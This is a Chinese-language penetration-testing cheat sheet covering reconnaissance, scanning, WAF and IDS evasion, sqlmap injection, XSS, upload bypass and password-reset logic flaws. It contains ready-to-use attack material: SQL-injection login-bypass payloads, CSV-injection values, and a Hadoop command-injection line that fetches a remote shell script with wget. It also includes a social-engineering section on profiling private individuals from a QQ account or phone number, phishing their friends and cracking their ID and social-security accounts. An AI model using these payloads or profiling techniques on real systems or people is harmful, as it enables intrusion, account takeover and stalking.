0%

渗透测试归纳总结

OWASP Top Ten | OWASP Foundation

信息收集

从旁观者的角度了解整个WEB应用乃至整个目标的全貌,但是资产是收集不完的,可以边收集,边进行一定程度的测试。信息收集最小的粒度应是目录

目标确认

1. 域名注册信息

通过如下步骤确认目标所有者信息:
Whois 目标域名/主机名:whois http://example.com
解析目标域名/主机名的IP地址:dig +short http://example.com
获取域名的详细解析过程:dig +trace http://example.com
后续用于字典制作和进一步收集目标信息的基础

2. 获取真实IP:

浏览器切换手机模式,可能是真实ip,公众号、小程序中的资产也可能对应真实ip。

3. 验证是否存在CDN

方法1:使用各种多地 ping 的服务,查看对应 IP 地址是否唯一,如果不唯一多半是使用了CDN, 多地 Ping 网站有:
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/

方法2:试用nslookup进行检测,如果返回域名解析对应多个IP,那么多半是试用了CDN.
nslookup http://example.com

方法3: 在线工具查看是否存在CDN,可以参考以下站点:
http://www.cdnplanet.com/tools/cdnfinder
http://www.ipip.net/ip.html

4. 绕过CDN查找网站真实IP

  1. 查询历史DNS记录(ip的历史解析域名,域名的历史解析ip)
    查看 IP 与 域名绑定的历史记录,可能会存在使用 CDN 前的记录,相关查询网站有:
    https://dnsdb.io/zh-cn/
    https://x.threatbook.cn/
    https://censys.io/ipv4?q=baidu.com

非常牛逼的IP记录站,还能分析内链之类找出可能的IP地址,此外还会记录历史。
http://viewdns.info

同样是个令站长十分蛋疼的DNS历史记录网站,记录了几年内的更改记录。
http://securitytrails.com
https://site.ip138.com/

庞大的DNS历史数据库,可以查出几年内网站用过的IP、机房信息等。
http://iphostinfo.com
注意:这个网站可以遍历FTP、MX记录和常见二级域名,有些站长喜欢把邮箱服务也放在自己主机上,侧面泄露了真实的IP地址,通过这个网站可以进行检查。

  1. 查询子域名(捷径,去众测平台、github找官方发布过的)
    注意:有可能有些站长只给主站或流量大的子域名做了CDN,而很多子域名都是和主站在同一台服务器上,或者 C段中,这样可以通过子域名来辅助找到网站真实IP
    爆破子域名:
  1. 资产搜索(旁站\C段\特征):
    https://www.shodan.io(资产相关或特征值关键字爆ip)
    https://fofa.so
    https://www.zoomeye.org/
    http://www.yunsee.cn/info.html (云悉在线资产平台)
    http://subdomain.chaxun.la (查询啦)
    https://www.virustotal.com/gui/home/search
    https://dnsdumpster.com/
    https://duckduckgo.com (一个不会存储你个人信息的搜索引擎)
    https://crt.sh/(SSL证书查询)
    https://icp.aizhan.com/(域名备案)
    4.对方服务器给自己发邮件暴露IP

5.APP客户端爆ip

5. DNS信息查询

目的: 注册者名称及邮箱,再反查其他域名、手机号、座机号、ASN号
地址在线DNS信息查询工具
https://dnsdumpster.com/
https://www.dnsdb.io (DNS搜索引擎)
http://searchdns.netcraft.com
http://whois.nawang.cn/
https://whois.aliyun.com/
https://whois.west.cn/
http://whois.chinaz.com/ (站长之家)
https://www.tianyancha.com/ (天眼查)
http://www.gsxt.gov.cn/index.html (国家企业信用信息系统)
http://www.beianbeian.com/ (ICP备案查询)

6. 测试域传送漏洞

域传送是一种DNS事务,用于在主从服务器间复制DNS记录。虽然如今已经很少见主机会开启,但是还是应该确认一下。一旦存在域传送漏洞,就意味着你获取了整个域下面所有的记录。
dnsrecon -d http://example.com
dnsenum http://example.com 包含自动检测域传送漏洞
dnsenum还能爆破子域名,功能比较多,详见:
https://blog.csdn.net/weixin_43263851/article/details/108955964

7. 业务相关

github泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
in:name test #仓库标题搜索含有关键字 SpringCloud  
in:descripton test #仓库描述搜索含有关键字
in:readme test #Readme文件搜素含有关键字
stars:>3000 test #stars数量大于3000的搜索关键字
stars:1000..3000 test #stars数量大于1000小于3000的搜索关键字
forks:>1000 test #forks数量大于1000的搜索关键字
forks:1000..3000 test #forks数量大于1000小于3000的搜索关键字
size:>=5000 test #指定仓库大于5000k(5M)的搜索关键字
pushed:>2019-02-12 test #发布时间大于 2019-02-12的搜索关键字
created:>2019-02-12 test #创建时间大于2019-02-12的搜索关键字
user:test #用户名搜素
license:apache-2.0 test #明确仓库的 LICENSE 搜索关键字
language:java test #在java语言的代码中搜索关键字
user:test in:name test #组合搜索,用户名test的标题含有test的

网盘泄露:
各种云网盘,详见虫部落搜索:
http://magnet.chongbuluo.com
敏感路径扫描:
https://github.com/ring04h/weakfilescan

OSINT 公开情报收集

1.社工技巧

查看注册的网站:0xreg reg007
知道账号去已注册的网站找回密码,可以看到打码后的用户名、邮箱、真实姓名等信息,如果运气好没准能从数据包或html中找到未被打码的信息

可以从这些方面判断用户是否注册过

1
2
3
4
5
6
找回密码  
输入账号,如果进入下一步了则该账号存在
登录
输入账号和密码,如果提示密码错误,则表示该用户已存在
注册
填写账号时一般网站会去检测该账号是否已存在,如果已存在则会提示不可重复注册

知道QQ

1
2
3
4
5
6
通过QQ邮箱和QQ号搜索支付宝、淘宝账号等其他可能的常用平台  
去腾讯\新浪微博搜索
通过微信搜索
查看QQ空间\相册\地区\星座\生日\昵称(后续构建字典以及跨平台搜集)
通过说说、留言、日志找到其好友
加QQ钓鱼\共同好友\可能认识的人

知道手机号
1
2
3
4
5
6
搜索QQ、微信、钉钉等社交账号  
在比较火的一些APP和网站上注册或忘记密码来判断是否注册过账号
查询支付宝、QQ交易账号,尝试输入常见姓氏获取名字(转账到该手机号,会提示输入姓氏验证)
通过对方的职业、兴趣找到该领域知名度较高的社交网站反查
根据在QQ空间、朋友圈等动态用百度识图识别照片
在微博、ins、Twitter、fb、百度贴吧搜索相近关键字,按地域、年龄、男女、用户名等筛选

留意社交动态
1
2
3
4
5
6
7
8
9
10
11
发布时间线  
使用什么客户端 iPhone Android还是浏览器
针对客户端预先制定exploit
注意每一条链接 / 图片 / 视频链接可能包含用户ID
图片可能包含水印,exif可能会有GPS定位和手机类型,图片内容特征
视频也有可能有水印暴露社交账号ID,拍摄地点
从最早发布的动态看起,会有很大收获
一般得到一个账号的密码就相当于得到了其他账号的密码
一般人不同账号的用户名都是相同或相近的
一般人的社交账号头像用的都是一样的
尝试破解社保、公积金账号、身份z号(出生地、生日、星座、派出所代码)

虫部落快搜之文件搜索:https://search.chongbuluo.com/

qq群、群文件、贴吧论坛、目标自用论坛等社交平台钓鱼信息泄露(爬邮箱等信息)

电子邮件伪造、网络钓鱼
下载恶意程序
输入敏感信息

大部分信息可以用来生成密码字典

对人:说服对方达成一致、恐吓对方(敏感词、漏洞、病毒、权威机构名称、),钓鱼获取信息

2.搜索引擎OSINT

Google Hacking(baidu\bing\souhu\github)
GoogleHacking常用语法

1
2
3
4
5
6
7
8
9
10
11
1、intext:(仅针对Google有效) 把网页中的正文内容中的某个字符作为搜索的条件  
2、intitle: 把网页标题中的某个字符作为搜索的条件
3、cache: 搜索搜索引擎里关于某些内容的缓存,可能会在过期内容中发现有价值的信息
4、filetype/ext: 指定一个格式类型的文件作为搜索对象
5、inurl: 搜索包含指定字符的URL
6、site: 在指定的(域名)站点搜索相关内容  
GoogleHacking其他语法
1、引号 ” ” 把关键字打上引号后,把引号部分作为整体来搜索
2、or 同时搜索两个或更多的关键字
3、link 搜索某个网站的链接 link:http://baidu.com即返回所有和baidu做了链接的URL
4、info 查找指定站点的一些基本信息  GoogleHackingDatabase:

google-hacking-databaseGoogleHacking典型用法(特定资产的万能密码也要积累)

管理后台地址

site:http://target.com intext:管理 | 后台 | 后台管理 | 登陆 | 登录 | 用户名 | 密码 | 系统 | 账号 | login | system
site:http://target.com inurl:login | inurl:admin | inurl:manage
| inurl:manager | inurl:admin_login | inurl:system | inurl:backend
site:http://target.com intitle:管理 | 后台 | 后台管理 | 登陆 | 登录

上传类漏洞地址

site:http://target.com inurl:file
site:http://target.com inurl:upload

注入页面(批量注入工具、结合搜索引擎)

site:http://target.com inurl:php?id=

编辑器页面

site:http://target.com inurl:ewebeditor

目录遍历漏洞

site:http://target.com intitle:index.of

SQL错误

site:http://target.com intext:”sql syntax near” | intext:”syntax error has occurred” | intext:”incorrect syntax near” | intext:”unexpected end of SQL command” | intext:”Warning: mysql_connect()” | intext:”Warning: mysql_query()” | intext:”Warning: pg_connect()”

phpinfo()

site:http://target.com ext:php intitle:phpinfo “published by the PHP Group”

配置文件泄露

site:http://target.com ext:.xml | .conf | .cnf | .reg | .inf | .rdp | .cfg | .txt | .ora | .ini

数据库文件泄露

site:http://target.com ext:.sql | .dbf | .mdb | .db

日志文件泄露

site:http://target.com ext:.log

备份和历史文件泄露

site:http://target.com ext:.bkf | .bkp | .old | .backup | .bak | .swp | .rar | .txt | .zip | .7z | .sql | .tar.gz | .tgz | .tar

公开文件泄露

site:http://target.com filetype:.doc | .docx | .xls | .xlsx | .ppt | .pptx | .odt | .pdf | .rtf | .sxw | .psw | .csv

邮箱信息

site:http://target.com intext:@http://target.com
site:http://target.com 邮件
site:http://target.com email

社工信息

site:http://target.com intitle:账号 | 密码 | 工号 | 学号 | 身份z

2.3浏览器实用插件:
Wappalyzer:识别网站使用的中间件及其版本,再去漏洞库和搜索引擎找公开披露的漏洞
SwitchOmega:快捷切换代理
shodan:识别开放端口,主机服务等(被动信息搜集)
hacktools:综合插件,很强大
firefox渗透便携版version48,工具集成很多
注意:根据获得服务、中间件信息、编辑器版本、数据库等OSINT去各大漏洞库、搜索引擎找漏洞利用

2.4乌云和cnvd
乌云库\乌云镜像\GHDB\CNVD等公开漏洞库

主动探测

从管理员和用户的角度了解整个WEB应用乃至整个目标的全貌,主动探测会暴露ip以及留下日志信息,所以要…

主动扫描

常见服务漏洞

nmap的功能:
脚本扫描,隐蔽扫描,端口扫描,服务识别,OS识别,探测WAF
nmap脚本主要分为以下几类,在扫描时可根据需要设置
–script=类别这种方式进行比较笼统的扫描:

auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap --script=auth 192.168.137.* 
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令

nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解

nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击

nmap --script=vuln 192.168.137.* 检查是否存在常见漏洞

nmap -n -p445 --script=broadcast 192.168.137.4
在局域网内探查更多服务开启状况

nmap --script external 202.103.243.110 利用第三方的数据库或资源,例如进行whois解析 nmap --script banner ip nmap -p port -sV ip 获取软件版本信息 nmap -O ip 操作系统信息,版本 nmap -A -v -sS -T2 ip 完整信息获取,详细显示,syn探测,高速扫描,系统和服务版本信息,脚本扫描和路由跟踪,外网扫描T2比较合适,T4以上不准确 -sN;-sF;-sX 隐蔽扫描   -sN是Null扫描,是通过发送非常规的TCP通信数据包进行探测   nmap -sN 127.0.0.1   -sF是FIN扫描,当我们使用TCP SYN扫描时可能会被目标主机的防火墙发现,会阻止SYN数据包   ,这时我们使用TCP FIN扫描方式会有很好的穿透效果.   nmap -sF 127.0.0.1 扫描前1000号TCP端口 nmap 192.168.100.2 Ping扫描8个本地主机(按ARP、ICMP、TCP 80的顺序) nmap –sP 192.168.100.0-7 扫描80,443端口 nmap -p 80,443 192.168.100.2 扫描前1000号TCP端口,OS指纹,服务,然后运行一个NSE脚本 sudo nmap -A 192.168.100.2 扫描全部65535个TCP端口,OS指纹,服务,然后运行一个NSE脚本 sudo nmap –A –p- 192.168.100.2 扫描前1000号UDP端口 sudo nmap -sU 192.168.100.2 扫描所有65535个UDP端口 sudo nmap -sU –p- 192.168.100.2 扫描所有65535个UDP端口,并获取服务、OS指纹,之后运行一些NSE脚本 sudo nmap –sU -p- -A 192.168.100.2

常见端口漏洞利用

快速扫描:
Masscan -p80,800 ip –rate=10000
21 / FTP 匿名/暴力破解 拒绝服务

22 / SSH 暴力破解

23 / telnet Winbox(CVE-2018-14847) https://github.com/BasuCert/WinboxPoC 弱口令 / 暴力破解

161 / snmp 弱口令 https://blog.csdn.net/archersaber39/article/details/78932252

389 / ladp 匿名访问 https://www.cnblogs.com/persuit/p/5706432.html
ladp注入
http://www.4hou.com/technology/9090.html
https://www.freebuf.com/articles/web/149059.html

443 / ssl openssl心脏出血
https://paper.seebug.org/437/
http://www.anquan.us/static/drops/papers-1381.html
https://www.freebuf.com/sectool/33191.html

445 / smb win10拒绝服务 永恒之蓝RCE 875 / rsync 匿名访问
http://www.anquan.us/static/bugs/wooyun-2016-0190815.html
https://paper.seebug.org/409/
http://www.91ri.org/11093.html

1433 / mssql 暴力破解
http://www.anquan.us/static/drops/tips-12749.  html
https://www.seebug.org/appdir/Microsoft%20SQL%20Server

1521 / oracle 暴力破解
https://www.exploit-db.com/exploits/33084

2601 / zebra
http://www.anquan.us/static/bugs/wooyun-2013-047409.html
3128 / squid

3306 / mysql
RCE
http://www.91ri.org/17511.html
CVE-2015-0411
hash破解
https://www.freebuf.com/column/153561.html
waf绕过
https://www.freebuf.com/articles/web/155570.html
general_log_file getshell
https://www.freebuf.com/column/143125.html
提权
http://www.91ri.org/16540.html

3312 / kangle
getshell
https://www.secpulse.com/archives/23927.html

3389 / rdp
shift 放大镜 输入法绕过 guest用户
永恒之蓝(ESTEEMAUDIT)
https://www.freebuf.com/articles/system/132171.html
https://www.anquanke.com/post/id/86328
ms12-020
https://blog.csdn.net/meyo_leo/article/details/77950552

4440 / rundeck
https://www.secpulse.com/archives/29500.html

4848 / glassfish
文件读取
https://www.secpulse.com/archives/42277.html
https://www.anquanke.com/post/id/85948
GlassFish2 / admin:admin GlassFish3,4 / 如果管理员不设置帐号本地会自动登录,远程访问会提示配置错误

5432 / PostgreSQL RCE
https://www.cnblogs.com/KevinGeorge/p/8521496.html
https://www.secpulse.com/archives/69153.html
默认账号postgres
参考
http://www.91ri.org/13070.html
http://www.91ri.org/6507.html

5672,15672,4369,25672 / RabbitMQ
(guest/guest)

5900 / VNC
https://www.seebug.org/appdir/RealVNC

5984 / CouchDB
http://xxx:5984/_utils/

6082 / varnish
CLI 未授权
https://www.secpulse.com/archives/10681.html

6379 / redis
Redis未授权
ssh publickey
crontab
webshell
反序列化
开机自启文件夹写bat
参考
https://www.freebuf.com/column/170710.html

7001,7002 / WebLogic
默认弱口令
weblogic/weblogic ,weblogic/welcom ,weblogic/welcom1,weblogic1/weblogic
反序列
CVE-2018-2628
https://www.freebuf.com/articles/web/169770.html
https://www.seebug.org/appdir/WebLogic

9200,9300 / elasticsearch
CVE-2015-1427
http://www.anquan.us/static/drops/papers-5142.html
CVE-2018-17246
https://www.seebug.org/vuldb/ssvid-97730
参考
https://www.seebug.org/search/?keywords=elasticsearch

9000 / fcgi
https://paper.seebug.org/289/

9043 / WebSphere
Websphere8.5
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7
http://localhost:9043/ibm/console
后台未授权,登录后可部署WAR包
SOAP服务有反序列化
弱口令:admin / password

11211 / memcache
未授权
UDP反射
https://shockerli.net/post/memcached-udp-reflection-attack-bug/

27017,27018 / Mongodb
未授权
注入
https://www.anquanke.com/post/id/83763
phpMoAdmin RCE
https://www.aqniu.com/threat-alert/6978.html

50000 / SAP
SAP命令执行
https://www.secpulse.com/archives/20204.html

50070,50030 / hadoop
未授权
https://www.freebuf.com/vuls/173638.html
命令执行
host:50060/pstack?pid=123|wget http://somehost/shell.sh
https://www.seebug.org/search/?keywords=hadoop
其他
http://www.91ri.org/15441.html

WAF及bypass

探测WAF
Nmap探测WAF有两种脚本,
一种是http-waf-detect,一种是http-waf-fingerprint。

1
2
3
4
nmap -p port --script=http-waf-detect ip

wafw00f -a http://example.com   
sqlmap-u “http://www.vxxxx.org/ex.php?id=1” --identify-waf

bypass:
手工注入

目录、后台和敏感路径文件扫描

御剑目录(土司专版,笔记里有)、后台扫描(图片属性地址暴露),
完善目录和账密字典方法:
基础字典包合并去重

1
2
3
4
5
dymerge.py -u

python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt

python pydictor.py -tool uniqifer /tmp/dicts.txt --output /tmp/uniq.txt

### 人工浏览\逐个请求burp

非常重要,有必要手动去浏览每个页面,点击页面上每一个跳转,这样在Burp的sitemap里面就可以出现这些请求和响应。
图片后台地址\图片后面的信息
跳转参数\奇怪的参数
泄露邮箱等社工信息
业务逻辑\架构

自动化

自动化渗透测试框架:(待补充)
Sn1per
Ary
自动化信息收集效率较高,从github上多找一找,也可以自己写

漏洞挖掘

漏洞扫描工具

注意:登录类网站扫描要带cookies扫才能扫到

Nikto Web服务漏洞扫描器

Tips:利用-Format选项来导出特定格式的扫描结果,使扫描结果更容易阅读和分析。

1
nikto -host http://example.com -output ~/nikto.html -Format html

NIKTO使用方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1、命令:nikto -update #升级,更新插件;  
2、Nikto -list-plugins #查看插件;
3、Nikto -host http://1.1.1.1 #扫描目标:域名方式;
4、Nikto -host http://1.1.1.1 -output #扫描并输出结果
5、Nikto -host 1.1.1.1 -port 80 #扫描目标:ip地址加端口号
6、Nikto -host http://www.baidu.com -port 443 -ssl #扫描https网站
7、Nikto -host 文件名.txt #批量扫描目标
8、nmap -p80 192.168.1.0/24 -oG - | nikto -host -
#利用nmap扫描开放80端口的IP段并且oG(nmap结果输出并整理)通过管道的方式
“|”用nikto进行扫描
9、nikto -host 192.168.0.1 -useproxy http://localhost:8070
#利用代理进行扫描
10、-vhost
#当一个网站存在多个端口时可以使用-vhost
遍历所有网站进行扫描或一个ip对应多个网站
11、Nikto交互形参数

配置文件:

1
2
3
4
5
路径:/etc/nikto.conf  
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本;
在nikto中最好修改成别的浏览器user agent;
设置cookie:
在配置文件中找到cookie进行设置(#STATIC-COOKIE= "cookie1"="cookie value";"cookie2"="cookie val")

IDS逃避技术:
主要为了躲避IDS、IPS检测告警-evasion #此参数使用方式(Nikto -host http://1.1.1.1 -evasion 1234)
逃避方式共8种:

1
2
3
4
5
6
7
8
1、随机url编码,
2、自选路径,
3、过早结束的URL
4、优先考虑长随机字符串
5、参数欺骗
6、使用TAB作为命令的分隔符,
7、使用变化的URL
8、使用Windows路径分隔符

AWVS漏扫

这个没什么好说的,破解版到处都是。

NESSUS

实时更新插件的漏扫,很好用,就是激活流程麻烦。
https://www.wuyini.cn/765.html

Xray自动化的漏洞挖掘

burp+xray:
BurpSuite + Xray 被动扫描配置 - Ritte - 博客园
或者直接挂浏览器,点到哪里,扫到哪里
xray+各种漏扫联动

Fuzz

Fuzz可以发现应用程序中没有被引用但是确实是可以访问的页面。
Discover Content是Burp中专门用于此目的的工具。
Burp Intruder也可以通过字典攻击来实施强制浏览(通常是在url参数和文件路径部分进行修改),爆破、注入等。
FuzzDB包含一些用于此目的的非常牛逼的字典。

挖掘漏洞

SQL注入:

初步测试:见框就上,加’ “ ) ))% and 1=1 and 1=2 and2-1 or ,
抓包爆破常用SQL注入payload字典,上burp intruder
纯手工注入和手工绕过waf,详见笔记。
通过搜索引擎,批量查找注入点,详见笔记。
然后用傀儡注入点批量搜集工具

实操案例:
sql注入思路(登录界面)和网络常用端口_u011975363的专栏-CSDN博客
超级SQL注入工具(github)

sqlmap一把梭:
注意:命令为kali linux中运行的 (windows中用python sqlmap.py执行)

注入六连:
1.sqlmap -u “http://www.xx.com?id=x" 查询是否存在注入点
2.–dbs 检测站点包含哪些数据库
3.–current-db 获取当前的数据库名
4.–tables -D “db_name” 获取指定数据库中的表名 -D后接指定的数据库名称
5.–columns -T “table_name” -D “db_name” 获取数据库表中的字段
6.–dump -C “columns_name” -T “table_name” -D “db_name”
获取字段的数据内容

COOKIE注入:
sqlmap -u “http://www.xx.com/xxx.asp" –cookie “id=XXX cookie” –level 2 \
cookie注入 后接cookie值

POST注入:
(1)目标地址http:// http://www.xxx.com /login.asp
(2)打开burp代理
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径)
-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:–forms自动获取表单
例如:sqlmap -u http://www.xx.com/login.asp –forms
(8)指定参数搜索:–data
例如:sqlmap -u http://www.xx.com/login.asp –data “username=1”

常用指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
--purge 【重新扫描(--purge 删除原先对该目标扫描的记录)

--tables 【获取表名

--dbs 【检测站点包含哪些数据库

--current-db 【获取当前的数据库名

--current-user 【检测当前用户

--is-dba 【判断站点的当前用户是否为数据库管理员

--batch 【默认确认,不询问你是否输入

--search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)

--threads 10 【线程,sqlmap线程最高设置为10
--level 3 【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
的值,
当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
--risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
-v 【详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

--privileges #查看权限

--tamper xx.py,cc.py #防火墙绕过,后接tamper库中的py文件

--method "POST" --data "page=1&id=2" #POST方式提交数据

--threads number  #采用多线程 后接线程数

--referer "" #使用referer欺骗

--user-agent "" #自定义user-agent

--proxy “目标地址″ #使用代理注入

sqlmap常用路径:

添加表字段的目录在/usr/share/sqlmap/txt/common-tables.txt

存放扫描记录的目录在/root/.sqlmap/output

高阶玩法:
自己写tamper.py

XSS

xss漏洞原理分析与挖掘方法 - 知乎
web漏洞 | XSS(跨站攻击脚本)详解
XSS汇总
XSS小结 - 先知社区
2020跨站点脚本[xss]速查表|雨苁
XSSer自动化工具
XSStrike 自动化绕过WAF
xss payload字典 burp爆破 
客服对话系统上XSS打cookie
搭建XSS平台 3s.wf/
http://xssor.io

文件上传

字典生成 https://github.com/c0ny1/upload-fuzz-dic-builder
文件上传绕过总结,详见笔记
目录穿越
上传后如果没有被文件重命名,可以在文件名值做目录跳转
注意一些像目录的参数名
dir path location url
文件头绕过
修改上传类型 Content-Type

双文件上传

截断
长文件名
长Content-Disposition
%00截断
特殊文件
svg / html / htm / swf
xss
pdf
chrome 里可以跳转
cer / asa / spx / php5 / phtml
可能会被当做动态语言解析
.htaccess / .user.ini / web.config / web.xml
修改解析规则
.xls / .xlsx
POI Excel XXE
.tar / .tar.gz / .zip
可能存在文件释放目录跳转问题
.pkl
python反序列化文件
.xml
可能有 XXE
.yaml / .yml
YAML 反序列化
.jar / .class
上传到 java classpath 的目录下,类被加载时执行代码
无大小和次数限制
无限上传制造垃圾数据堵死硬盘
有图片加工的地方可以注意一下imagemagick命令执行

文件读取 读取系统敏感文件
文件包含 可读取文件或代码执行
文件删除 删除配置文件可破坏网站、删除安装锁可重装
文件解压 如果上传文件为 tar / tar.gz 类型,可以尝试构压缩包内文件名为../../../../xxx 的tar包
文件导出 如果是CSV 或者 Excel可以注意一下CSV注入

=2222-1
-1+1=2222-1
@=2222-1
\r\n=2222-1
111,=2222-1,

命令执行

命令注入
–xxxx 参数注入
| 和 | | 与符号
& 和 && 与符号
; 分号
${}

代码执行
表达式
freemarker
OGNL
Spel
jsel
非表达式(php)
eval
assert
call_user_func() / call_user_func_array()
preg_replace()
create_function()
array_map()
array_filter()
usort() / uasort()
反序列化
php 源文件拼接写入
java
反序列化
远程 jar 加载
反射机制
jsp 源文件拼接写入

弱口令及字典破解

后台弱口令爆破撞库
(尝试万能密码、特定资产常用密码、弱口令后再撞库、有的数据库要输对用户名再注释
我的github有收集的字典 https://github.com/hackerX2021)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
asp aspx万能密码 
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 新型万能登陆密码 用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)
密码 1 Username=-1%cf' union select 1,1,1 as password,1,1,1 %23 Password=1

17..admin' or 'a'='a 密码随便 PHP万能密码 'or'='or' 'or 1=1/* 字符型 GPC是否开都可以使用 User: something Pass: ' OR '1'='1 jsp 万能密码 1'or'1'='1 admin' OR 1=1/*
用户名:admin 系统存在这个用户的时候 才用得上 密码:1'or'1'='1 pydictor、cupp、crunch字典生成工具、自写字典生成py(小黑的人名字典py);
dymerge字典合并去重工具、自己写去重py;hydra爆破工具

tips:
超级弱口令检验工具
burpsuite 爆破
使用弱用户名对密码进行暴力破解
使用弱口令密码对用户名进行暴力破解

逻辑漏洞

Cookie
一些网站会利用 Cookie 是否为空、Session 是否为 true 来判断用户是否可以登录,只要构造一个 Cookie 或 Session 为 true 就可以绕过认证登录
通过修改 Cookie 中的某个参数来实现登录其他用户,要抓包具体分析

数据篡改
数量、金额、ID、邮箱等数据:最大超过限制、负数、0、其他用户数据,提交后查看是否进入正常业务流程,是否存在越权

1
2
3
4
5
6
7
8
9
例子: 
修改普通用户密码,
抓包 将 Referer 和 POST 中的普通用户改成 admin 提交数据后,
直接返回了 admin 的密码修改页面,
利用逻辑漏洞获取超级权限 抓包修改手机号参数为其他号码进行尝试,
例如办查询页面,
输入自己的号码然后抓包,修
改手机号为他人号码,
查看是否可以查询他人业务 手机号 篡改 邮箱或者用户 篡改 订单ID 篡改 商品编号 篡改 用户ID 篡改 金额 篡改 商品数量 篡改

验证码绕过
drop掉页面
返回包里可能就有验证码
一次验证码多用
验证码识别插件,burp

注册界面:
任意用户注册
可爆破用户名
注入
XSS

登录界面:
爆破用户名、密码
注入
万能密码
Xss Xss+Csrf
修改返回包信息,登入他人账户
修改cookie中的参数,如user,admin,id等
干货 | 登录点测试的Tips

忘记密码界面:
任意密码重置概要:
1.重置一个账户,不发送验证码,设置验证码为空发送请求。
2.发送验证码,查看相应包
3.验证码生存期的爆破
4.修改相应包为成功的相应包
5.手工直接跳转到校验成功的界面
6.两个账户,重置别人密码时,替换验证码为自己正确的验证码
7.重置别人密码时,替换为自己的手机号
8.重置自己的成功时,同意浏览器重置别人的,不发验证码
9.替换用户名,ID,cookie,token参数等验证身份的参数
10.通过越权修改他人的找回信息如手机/邮箱来重置

用户凭证暴力破解(验证码)
绕过的话,这里可以考虑一个现状:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
例如: 
phone=18888888888abc 国内很多情况下都没有过滤字符和限制输出长度,
验证很有可能只是简单的处理 只要更换手机号后面的字符,
就可以绕过请求过于频繁的限制 但是校验时,
手机号后面的字符会被过滤,
也就是可以利用暴力破解验证码(不计入次数) 所以只要在暴力破解的同时,
改变手机号后面的字符即可达到漏洞效果 根据手机号找回密码,
但是验证次数被限制,
抓包 可以尝试在手机号后面添加不为数字的字符,
查看是否过滤 根据手机号找回密码,随便输个验证码,
抓包 暴力破解验证码(假如只有四位),
很快就可以破解出来 四位或六位纯数字,
验证码次数未限制 例如: 如果验证码次数限制,破解一会就会提示请求过于频繁,
这时就需要绕过限制 例如: 通过密保问题找回密码,查看源码,密保问题和答案就在源码中显示

返回凭证(验证码 及 token)、邮箱弱 token、用户凭证有效性、重新绑定
抓包,可以发现返回的数据中有一个加密的字符串(token),先记录下这个加密字符串
继续按照正常流程,登录邮箱获得验证码,返回填写验证码后,进入下一个填写新密码页面,发现 URL 后新增了一个加密验证的字符串
这个字符串就是之前数据包中记录的字符串,所以邮箱验证码这个环节可以绕过,直接用他人邮箱抓包获得加密字符串就可以重置他人密码

根据手机号找回密码,抓包,可以发现验证码直接显示 verifycode=xxxx,或者由 md5 加密后显示,解密即可(同理,有的时候输入用户名,抓包可以看到返回的手机号等其他信息)

根据邮箱找回密码,抓包直接返回,密码找回凭证可能在页面中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
例如: 
利用两个帐号同时点击找回密码,
去邮箱查看找回密码的链接,
发现两者的随机 token 只差 1-2,而且可以猜测出为服务器时间 所以可以用一个未知帐号和一个已知帐号同时点击找回密码,
稍微遍历一下随机 token,
就可以构造出未知帐号的密码找回链接
例如: 通过邮箱找回密码,正常流程去邮箱查看重置密码链接,
发现链接处有一串 md5 加密字符串 字符串解密,
类似 1491293277(10位),
可以判断为 Unix时间戳,
(可能md5) 重置他人密码只需要利用他人邮箱发送重置密码邮箱,
在短时间内对 Unix时间戳 进行暴力破解,
即可获得重置密码的链接 重置密码链接直接使用用户名来区别,
改变用户名即可更改他人密码

绕过token
